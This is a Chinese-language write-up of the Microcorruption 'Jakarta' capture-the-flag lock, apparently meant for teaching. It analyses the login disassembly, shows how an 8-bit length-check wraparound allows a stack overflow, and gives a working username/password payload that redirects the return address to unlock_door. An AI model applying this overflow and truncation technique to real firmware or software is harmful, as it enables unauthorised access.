原题链接:Jakarta
OVERVIEW
- A firmware update further rejects passwords which are too long.
- This lock is attached the the LockIT Pro HSM-1.
相较于上一题[[Santa cruz write up]],本题进一步增加了密码长度的校验,同时和[[Santa cruz write up]]一样,需要同时输入用户名和密码来解锁。
Jakarta source code
浏览代码,可以看到一如既往的,main函数还是直接调用了login函数:
4438 <main>
4438: 3150 18fc add #0xfc18, sp
443c: b012 6045 call #0x4560 <login>
4440: 0f43 clr r15
Login
Login函数很长,
4560 <login>
4560: 0b12 push r11
4562: 3150 deff add #0xffde, sp ;创建堆栈 大小为22
4566: 3f40 8244 mov #0x4482 "Authentication requires a username and password.", r15
456a: b012 c846 call #0x46c8 <puts> ;//输出提示字
456e: 3f40 b344 mov #0x44b3 "Your username and password together may be no more than 32 characters.", r15
4572: b012 c846 call #0x46c8 <puts> ;//输出提示字
4576: 3f40 fa44 mov #0x44fa "Please enter your username:", r15
457a: b012 c846 call #0x46c8 <puts> ;//输出提示字
457e: 3e40 ff00 mov #0xff, r14
4582: 3f40 0224 mov #0x2402, r15
4586: b012 b846 call #0x46b8 <getsn>
458a: 3f40 0224 mov #0x2402, r15
458e: b012 c846 call #0x46c8 <puts>
4592: 3f40 0124 mov #0x2401, r15
4596: 1f53 inc r15
4598: cf93 0000 tst.b 0x0(r15)
459c: fc23 jnz $-0x6 <login+0x36>
459e: 0b4f mov r15, r11
45a0: 3b80 0224 sub #0x2402, r11
45a4: 3e40 0224 mov #0x2402, r14
45a8: 0f41 mov sp, r15
45aa: b012 f446 call #0x46f4 <strcpy>
45ae: 7b90 2100 cmp.b #0x21, r11
45b2: 0628 jnc $+0xe <login+0x60>
45b4: 1f42 0024 mov &0x2400, r15
45b8: b012 c846 call #0x46c8 <puts>
45bc: 3040 4244 br #0x4442 <__stop_progExec__>
45c0: 3f40 1645 mov #0x4516 "Please enter your password:", r15
45c4: b012 c846 call #0x46c8 <puts>
45c8: 3e40 1f00 mov #0x1f, r14
45cc: 0e8b sub r11, r14
45ce: 3ef0 ff01 and #0x1ff, r14
45d2: 3f40 0224 mov #0x2402, r15
45d6: b012 b846 call #0x46b8 <getsn>
45da: 3f40 0224 mov #0x2402, r15
45de: b012 c846 call #0x46c8 <puts>
45e2: 3e40 0224 mov #0x2402, r14
45e6: 0f41 mov sp, r15
45e8: 0f5b add r11, r15
45ea: b012 f446 call #0x46f4 <strcpy>
45ee: 3f40 0124 mov #0x2401, r15
45f2: 1f53 inc r15
45f4: cf93 0000 tst.b 0x0(r15)
45f8: fc23 jnz $-0x6 <login+0x92>
45fa: 3f80 0224 sub #0x2402, r15
45fe: 0f5b add r11, r15
4600: 7f90 2100 cmp.b #0x21, r15
4604: 0628 jnc $+0xe <login+0xb2>
4606: 1f42 0024 mov &0x2400, r15
460a: b012 c846 call #0x46c8 <puts>
460e: 3040 4244 br #0x4442 <__stop_progExec__>
4612: 0f41 mov sp, r15
4614: b012 5844 call #0x4458 <test_username_and_password_valid>
4618: 0f93 tst r15
461a: 0524 jz $+0xc <login+0xc6>
461c: b012 4c44 call #0x444c <unlock_door>
4620: 3f40 3245 mov #0x4532 "Access granted.", r15
4624: 023c jmp $+0x6 <login+0xca>
4626: 3f40 4245 mov #0x4542 "That password is not correct.", r15
462a: b012 c846 call #0x46c8 <puts>
462e: 3150 2200 add #0x22, sp
4632: 3b41 pop r11
4634: 3041 ret
总体汇编代码比较长,我们分段来看:
- 输入username以及username从堆空间到栈空间的拷贝:
# void getsn(char(*)(0x2402), 0xff);
457e: 3e40 ff00 mov #0xff, r14
4582: 3f40 0224 mov #0x2402, r15
4586: b012 b846 call #0x46b8 <getsn>
# puts(username);
458a: 3f40 0224 mov #0x2402, r15
458e: b012 c846 call #0x46c8 <puts>
# r15 为输入username的buffer end position
4592: 3f40 0124 mov #0x2401, r15
4596: 1f53 inc r15
4598: cf93 0000 tst.b 0x0(r15)
459c: fc23 jnz $-0x6 <login+0x36>
# int r11 = len(password);
459e: 0b4f mov r15, r11
45a0: 3b80 0224 sub #0x2402, r11
# strcpy(sp, (char*)(0x2402)); //sp = 0x3ff2 将username从堆拷贝到栈。
45a4: 3e40 0224 mov #0x2402, r14
45a8: 0f41 mov sp, r15
45aa: b012 f446 call #0x46f4 <strcpy>
这段汇编的最终伪代码就如下:
{
string username = getsn(char(*)(0x2402), 0xff); // 输入username 最大长度0xff, 储存在堆空间0x2402
puts(username);
int r11 = len(username);
strcpy(sp, username); // 拷贝username到栈空间(0x3ff2)
}
可以看到,最终username是存储在栈空间上,起始位置为0x3ff2.
- 用户名长度判断(用户名长度不能大于32)
if (r11 >= 0x21)
5ae: 7b90 2100 cmp.b #0x21, r11
45b2: 0628 jnc $+0xe <login+0x60>
45b4: 1f42 0024 mov &0x2400, r15
45b8: b012 c846 call #0x46c8 <puts>
# return
45bc: 3040 4244 br #0x4442 <__stop_progExec__>
伪代码如下:
if(r11 >= 33) return;
- 密码输入与拷贝
# int r14 = (31-r11)&(0x1ff); // r14= 31-len(username);
45c8: 3e40 1f00 mov #0x1f, r14
45cc: 0e8b sub r11, r14
# getsn(0x2402,r14); //输入password, 长度为31-len(username);
45ce: 3ef0 ff01 and #0x1ff, r14
45d2: 3f40 0224 mov #0x2402, r15
45d6: b012 b846 call #0x46b8 <getsn>
45da: 3f40 0224 mov #0x2402, r15
45de: b012 c846 call #0x46c8 <puts>
# strcpy(sp + len(username), (char*)0x2402);
45e2: 3e40 0224 mov #0x2402, r14
45e6: 0f41 mov sp, r15
45e8: 0f5b add r11, r15
45ea: b012 f446 call #0x46f4 <strcpy>
与username部分的输入相同,也是在0x2402堆空间输入password后,复制到栈空间用户名后面地址,同时username和password的长度和要小于32
- 用户名与密码长度和判断
45ee: 3f40 0124 mov #0x2401, r15
45f2: 1f53 inc r15
45f4: cf93 0000 tst.b 0x0(r15)
45f8: fc23 jnz $-0x6 <login+0x92>
45fa: 3f80 0224 sub #0x2402, r15
45fe: 0f5b add r11, r15
4600: 7f90 2100 cmp.b #0x21, r15
4604: 0628 jnc $+0xe <login+0xb2>
uint8 r15 = len(username) + len(password);
if (r15 >= 33) return;
- 后面就是调用test_username_and_password_valid函数,由于该函数是直接调用系统调用INT 0x7d, 而密码又处于保护内存中,所以无法通过该函数进行unlock
4458 <test_username_and_password_valid>
...
# INT 0x7d r15(username-password), r14(save the flag whether the username and password is correct)
446a: 0e12 push r14
446c: 0f12 push r15
446e: 3012 7d00 push #0x7d
4472: b012 6446 call #0x4664 <INT>
4476: 5f44 fcff mov.b -0x4(r4), r15
447a: 8f11 sxt r15
447c: 3152 add #0x8, sp
447e: 3441 pop r4
4480: 3041 ret
所以直接略过这一部分,继续查看后续汇编代码。
- 判断test_username_and_password_valid的返回,验证是否unlock
4618: 0f93 tst r15
461a: 0524 jz $+0xc <login+0xc6>
# 得知unlock函数的地址为: 0x444c
461c: b012 4c44 call #0x444c <unlock_door>
4620: 3f40 3245 mov #0x4532 "Access granted.", r15
4624: 023c jmp $+0x6 <login+0xca>
4626: 3f40 4245 mov #0x4542 "That password is not correct.", r15
462a: b012 c846 call #0x46c8 <puts>
# sp = sp+0x22+2
462e: 3150 2200 add #0x22, sp
4632: 3b41 pop r11
# pc = @sp
4634: 3041 ret
题解
栈上username起始位置0x3ff2 ,username可以输入的最大长度为0x20,而栈顶到ret 的地址长度为0x24,虽然单独输入username无法覆盖ret的地址,从而控制程序执行unlock函数,但是接着username输入的为password,其输入(getsn函数)长度的计算方式为:
len(password) = (31-len(username))&(0x1ff)
如果我们输入username长度为32, 就可以使输入password长度参数为(31-32)&0x1ff = 0x1ff。从而可以覆盖ret的位置。
但是我们还要解决对于username+password长度的判断逻辑:
uint8 r15 = len(username) + len(password);
if (r15 >= 33) return;
由于r15的范围仅为0-ff,我们输入的username长度为0x20,而password长度范围可为0-0x1ff, 只要我们输入len(password) = 0x100 - 0x20,就可以使
uint8 r15 = len(username) + len(password) = 0x0;从而满足 长度和小于32的要求。
username输入32位后,password的起始地址为:0x3ff2+0x20=0x4012,如果password想要覆盖ret位置到unlock_door,也就是password的第5-6位必须输入:0x4c44(LD)(小端,取指令时会变成0x444c),且password的长度需要为0xe0.
综上,我们输入:
username = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
password = "LD"*0x70